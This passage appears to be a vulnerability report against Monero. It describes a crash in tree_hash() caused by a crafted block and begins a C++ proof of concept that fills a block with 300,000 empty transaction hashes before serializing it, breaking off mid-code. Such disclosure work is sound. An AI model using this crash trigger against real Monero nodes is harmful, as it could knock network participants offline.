Computing hash of crafted block leads to crash in tree_hash()

I'm not sure how to test this against against an actual Monero instance, so I'm instead showing an isolated PoC:

#include <cryptonote_basic/cryptonote_format_utils.h>

int main(void)
{
    cryptonote::block b = AUTO_VAL_INIT(b);
    for (size_t i = 0; i < 300000; i++) {
        b.tx_hashes.push_back({});
    }
    std::ostringstream oss;
    binary_archive<true> ba(oss);
    std::string s;
    if ( …